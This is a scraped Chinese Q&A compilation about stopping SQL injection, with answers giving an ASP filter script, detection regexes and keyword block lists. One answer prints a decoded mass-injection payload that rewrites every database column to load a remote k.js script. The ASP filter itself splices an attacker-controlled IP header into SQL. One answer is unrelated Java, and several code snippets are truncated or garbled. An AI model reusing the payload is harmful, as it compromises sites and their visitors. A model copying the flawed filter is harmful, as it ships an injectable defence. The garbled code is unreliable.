當前位置:首頁 » 編程語言 » js防止sql注入

js防止sql注入

發布時間: 2022-05-31 14:53:14

❶ 如何防止表單提交過來的惡意JS腳本sql注入

1、禁止外部提交數據2、禁止未命名變數使用3、精確獲取參數值類型,如有位數限制,再精確位數個數,其它全部輸出自己寫的錯誤提示以上3條足以在程序上實現防注入(不能防止伺服器或資料庫本身注入),具體怎麼寫是根據具體是哪種語言來寫的,可以網路那個語言的這三種方式要怎麼寫。

❷ html form post/get或JS window.location.href 傳值到控制器,如何防止SQL注入

1、禁止外部提交數據
2、禁止未命名變數使用
3、精確獲取參數值類型,如有位數限制,再精確位數個數,其它全部輸出自己寫的錯誤提示
以上3條足以在程序上實現防注入(不能防止伺服器或資料庫本身注入),具體怎麼寫是根據具體是哪種語言來寫的,可以網路那個語言的這三種方式要怎麼寫。

❸ 網站SQL被注入,怎麼防

============================================

'--------版權說明------------------
'SQL通用防注入程序 V3.1 β
'2.0強化版,對代碼做了一點優化,加入自動封注入者Ip的功能!^_^
'3.0版,加入後台登陸查看注入記錄功能,方便網站管理員查看非法記錄,以及刪除以前的記錄,是否對入侵者Ip解除封鎖!
'3.1 β版,加入對cookie部分的過濾,加入了對用js書寫的asp程序的支持!
'Neeao站點:http://www.neeao.com
'Mail:neeaocn[AT]Gamil.com
'
'--------定義部份------------------
Dim N_Post,N_Get,N_In,N_Inf,N_Xh,N_db,N_dbstr,Kill_IP,WriteSql
Dim aApplicationValue

N_In = "'|;|and|(|)|exec|insert|select|delete|update|count|*|%|chr|master|truncate|char|declare"
Kill_IP = 1
WriteSql = 1
alert_url = "/index.asp"
alert_info = "請不要在參數中包含非法字元嘗試注入!\n如果你多次嘗試,我們將屏蔽你所在的IP!\n\n"
kill_info = "系統提示你↓你的Ip已經被自動鎖定!\n\n如想訪問本站請和管理員聯系!"
N_type = 4
Sec_Forms = ""
Sec_Form_open = 0

Sec_Form = split(Sec_Forms,"|")
N_Inf = split(N_In,"|")

If Kill_IP=1 Then Stop_IP

If Request.Form<>"" Then StopInjection(Request.Form)

If Request.QueryString<>"" Then StopInjection(Request.QueryString)

If Request.Cookies<>"" Then StopInjection(Request.Cookies)

Function Stop_IP()
Dim Sqlin_IP,rsKill_IP,Kill_IPsql
Sqlin_IP = Request.ServerVariables("HTTP_X_FORWARDED_FOR")
if Sqlin_IP="" then
Sqlin_IP = Request.ServerVariables("REMOTE_ADDR")
end if
Kill_IPsql="select Sqlin_IP from SqlIn where Sqlin_IP='"&Sqlin_IP&"' and kill_ip=1"
Set rsKill_IP=conn.execute(Kill_IPsql)
If Not(rsKill_IP.eof or rsKill_IP.bof) Then
N_Alert(kill_info)
Response.End
End If
rsKill_IP.close
End Function

Function N_Alert(alert_info)
Dim str
str = "<"&"Script Language=javaScript"&">"
Select Case N_type
Case 1
str = str & "window.opener=null; window.close();"
Case 2
str = str & "alert('"&alert_info&"http://www.Neeao.Com\n\nBy:Neeao');window.opener=null; window.close();"
Case 3
str = str & "location.href='"&alert_url&"';"
Case 4
str = str & "alert('"&alert_info&"');window.opener=null; window.close();"
end Select
str = str & "<"&"/Script"&">"
response.write str
End Function

Function intype(values)
Select Case values
Case Request.Form
intype = "Post"
Case Request.QueryString
intype = "Get"
Case Request.Cookies
intype = "Cookies"
end Select
End Function

Function StopInjection(values)
For Each N_Get In values
If values = Request.Form Then
If Sec_Form_open = 1 Then
Security_From(values)
Else
Select_BadChar(values)
End If
Else
Select_BadChar(values)
End If
Next
End Function

Function Select_BadChar(values)
For N_Xh=0 To Ubound(N_Inf)
If Instr(LCase(values(N_Get)),N_Inf(N_Xh))<>0 Then
If WriteSql = 1 Then InsertInfo(values)
N_Alert(alert_info)
Response.End
End If
Next
End Function

Function Security_From(values)
For N_i=0 To UBound(Sec_Form)
response.write N_Get
If Instr(LCase(N_Get),Sec_Form(N_i))= 0 Then Select_BadChar(values)
Next
End Function

Function InsertInfo(values)
Dim ip,url,sql
ip = Request.ServerVariables("HTTP_X_FORWARDED_FOR")
if IP="" then
IP = Request.ServerVariables("REMOTE_ADDR")
end if
'ip = Request.ServerVariables("REMOTE_ADDR")
url = Request.ServerVariables("URL")
sql = "insert into SqlIn(Sqlin_IP,SqlIn_Web,SqlIn_FS,SqlIn_CS,SqlIn_SJ,SqlIn_Time) values('"&ip&"','"&url&"','"&intype(values)&"','"&N_Get&"','"&N_Replace(values(N_Get))&"','"&Now()&"')"
'response.write sql
conn.Execute(sql)
set rs=server.createobject("adodb.recordset")
sql="select count(id) as countid from SqlIn where sqlin_IP='"&ip&"'"
rs.open sql,conn,2,3
if rs("countid")>5 then
sql="update SqlIn set kill_ip=1 where sqlin_ip='"&ip&"'"
conn.execute(sql)
end if
rs.close
set rs=nothing
conn.close
Set conn = Nothing
End Function

Function N_Replace(N_urlString)
N_urlString = Replace(N_urlString,"'","''")
N_urlString = Replace(N_urlString, ">", ">")
N_urlString = Replace(N_urlString, "<", "<")
N_Replace = N_urlString
End Function

===================================================

❹ node js怎麼防止sql注入

public class Calcul {
public static void main(String[] args) {
circularArea();
}
public static void circularArea(){
int r=2;
float π=3.14f;
float circularArea = π*r*r;
System.out.println(circularArea);
}

❺ JSP網站如何防範SQL注入攻擊

2、正則表達式 2.1、檢測SQL meta-characters的正則表達式 /(\%27)|(\')|(\-\-)|(\%23)|(#)/ix 2.2、修正檢測SQL meta-characters的正則表達式 /((\%3D)|(=))[^\n]*((\%27)|(\')|(\-\-) 54ne.com |(\%3B)|(:))/i 2.3、典型的 SQL 注入攻擊的正則表達式 /\w*((\%27)|(\'))((\%6F)|o|(\%4F))((\%72)|r|(\ 中國網管聯盟 %52))/ix 2.4、檢測SQL注入,UNION查詢關鍵字的正則表達式 /((\%27)|(\'))union/ix(\%27)|(\') - 單 引號和它的hex等值 union - union關鍵字。 2.5、檢測MS SQL Server SQL注入攻擊的正則表達式 /exec(\s|\+)+(s|x)p\w+/ix 3、字元串過濾 public static String filterContent(String content){ String flt ="'|and|exec|insert|select|delete|update|count|*|% |chr|mid|master|truncate|char|declare|; |or|-|+|,"; Stringfilter[] = flt.split("|"); for(int i=0; i { content.replace(filter[i], ""); } return content; } 4、不安全字元屏蔽 本部分採用js來屏蔽,起的作用很小,這樣用屏蔽關鍵字的方法雖然有一定作用,但是在實際應用中這些 SQL的關鍵字也可能成為真正的查詢關鍵字,到那是被你屏蔽了那用戶不是不能正常的使用了。 只要在代碼規范上下點功夫就可以了。 功能介紹:檢查是否含有"'","\\","/" 參數說明:要檢查的字元串 返回值:0:是 1:不是 函數名是 function check(a) { return 1; fibdn = new Array ("'" ,"\\","/"); i=fibdn.length; j=a.length; for (ii=0; ii { for (jj=0; jj { temp1=a.charAt(jj); temp2=fibdn[ii]; if (tem'; p1==temp2) { return 0; } } } return 1; }

❻ 如何防止javascript注入攻擊

很多網站都有私信或者留言板功能。登錄用戶可以發表評論或者給其他用戶(包括管理員)發送私信。一個最簡單的模擬表單如下:

<form action="sendmessage.php" method="post'">
<textarea name="message"> </textarea>
<input type="submit" value="send" />
</form>

當用戶點擊發送時,這條消息會被保存在資料庫中指定的數據表中,另一個用戶當打開這條消息的時候將看到發送的內容。但是,如果一個惡意攻擊者發送的內容包含了一些javascript代碼,這些代碼用於偷取敏感的cookie信息。當用戶打開看到這條消息的時候,惡意的javascript代碼就會得到執行,造成敏感cookie信息泄漏。攻擊者可以利用獲得這些cookie信息進行session hijacking會話劫持,直接以合法用戶的身份登錄其他用戶的賬戶。
惡意攻擊者可以在消息框中加入一下javascript代碼:

❼ 用js寫一個防sql注入的 函數,能起到效果嗎

防止sql注入攻擊,在資料庫方面,針對每一個表的增刪改,寫存儲過程,程序主要靠存儲過程操作數據。 在代碼中,個別特殊需要數據查詢的,如果不能通過存儲過程,那就盡量用傳參的方式,盡量不要拼接sql。 如果非要拼接,要對拼接字元串進行處理,Tools的如下字元串處理方法可以防止注入攻擊: ///  /// 格式化文本(防止SQL注入) ///  ///  ///  public static string AntiSQL(string html) {     Regex regex一 = new Regex(@"<script[\s\S]+", RegexOptions.IgnoreCase);     Regex regex二 = new Regex(@" href *= *[\s\S]*script *:", RegexOptions.IgnoreCase);     Regex regex三 = new Regex(@" on[\s\S]*=", RegexOptions.IgnoreCase);     Regex regex四 = new Regex(@"<iframe[\s\S]+", RegexOptions.IgnoreCase);     Regex regex5 = new Regex(@"<frameset[\s\S]+", RegexOptions.IgnoreCase);     Regex regex一0 = new Regex(@"select", RegexOptions.IgnoreCase);     Regex regex一一 = new Regex(@"update", RegexOptions.IgnoreCase);     Regex regex一二 = new Regex(@"delete", RegexOptions.IgnoreCase);     html = regex一.Replace(html, ""); //過濾標記     html = regex二.Replace(html, ""); //過濾href=javascript: () 屬性     html = regex三.Replace(html, " _disibledevent="); //過濾其它控制項的on...事件     html = regex四.Replace(html, ""); //過濾iframe     html = regex一0.Replace(html, "s_elect");     html = regex一一.Replace(html, "u_pudate");     html = regex一二.Replace(html, "d_elete");     html = html.Replace("'", "』");     html = html.Replace(" ", " ");     return html;

❽ 尋求高手破解sql語句,sql注入防止方法!!

我來告訴你!
因為剛好攻擊我們的代碼也跟這類似
這段代碼是由字元串轉為16進制代碼而生成的。
你只要找個工具轉回來就全明白了

DECLARE @T VARCHAR(255),@C VARCHAR(255)
DECLARE Table_Cursor CURSOR FOR SELECT a.name,b.name FROM sysobjects a,syscolumns b WHERE a.id=b.id AND a.xtype='u' AND (b.xtype=99 OR b.xtype=35 OR b.xtype=231 OR b.xtype=167)

OPEN Table_Cursor FETCH NEXT FROM Table_Cursor INTO @T,@C

WHILE(@@FETCH_STATUS=0)
BEGIN
EXEC('UPDATE ['+@T+'] SET ['+@C+']=RTRIM(CONVERT(VARCHAR(4000),['+@C+']))+''<script src=http://3loves.cn/k.js></script>''')
FETCH NEXT FROM Table_Cursor INTO @T,@C
END
CLOSE Table_Cursor
DEALLOCATE Table_Cursor

這回看明白了吧
他利用你的資料庫連接用戶許可權過高的漏洞
通過創建動態sql,把你當前庫的所有數據表和欄位調出來,然後遍歷所有表和欄位,把那段<script src=http://3loves.cn/k.js></script>代碼更新進去。

那麼如何防止:
1、在你的腳本程序里禁止外部提交
2、對SQL注入做處理
3、降低資料庫連接用戶的許可權

❾ 關於搜索框sql注入的問題,限制搜索框中只能輸入數字是不是能防止sql注入

這是一種前端js校驗的安全機制,在某種程度上是可以防止SQL注入的攻擊。正所謂一切的輸入都是罪惡的源泉,所以從輸入源頭盡量去規避一些風險是必要的。
但是在後端的程序中,也盡量使用成熟的框架,按照標準的開發規則去寫代碼,比如:不要使用${userName}這樣的方式變數出現在訪問資料庫的SQL語句中。

熱點內容
微軟不給源碼 發布:2025-02-11 16:13:37 瀏覽:38
php的get方法 發布:2025-02-11 16:12:30 瀏覽:967
源碼網嘉 發布:2025-02-11 16:07:06 瀏覽:192
免費ftp服務軟體 發布:2025-02-11 15:58:06 瀏覽:866
大櫻桃建園為什麼要配置授粉樹 發布:2025-02-11 15:58:00 瀏覽:629
五菱宏光s頂配有哪些配置 發布:2025-02-11 15:50:57 瀏覽:287
華為8加128配置有哪些 發布:2025-02-11 15:48:20 瀏覽:580
壓縮機三轉子 發布:2025-02-11 15:45:54 瀏覽:828
linux操作系統shell 發布:2025-02-11 15:45:53 瀏覽:339
安卓模擬器如何選擇安裝 發布:2025-02-11 15:34:26 瀏覽:177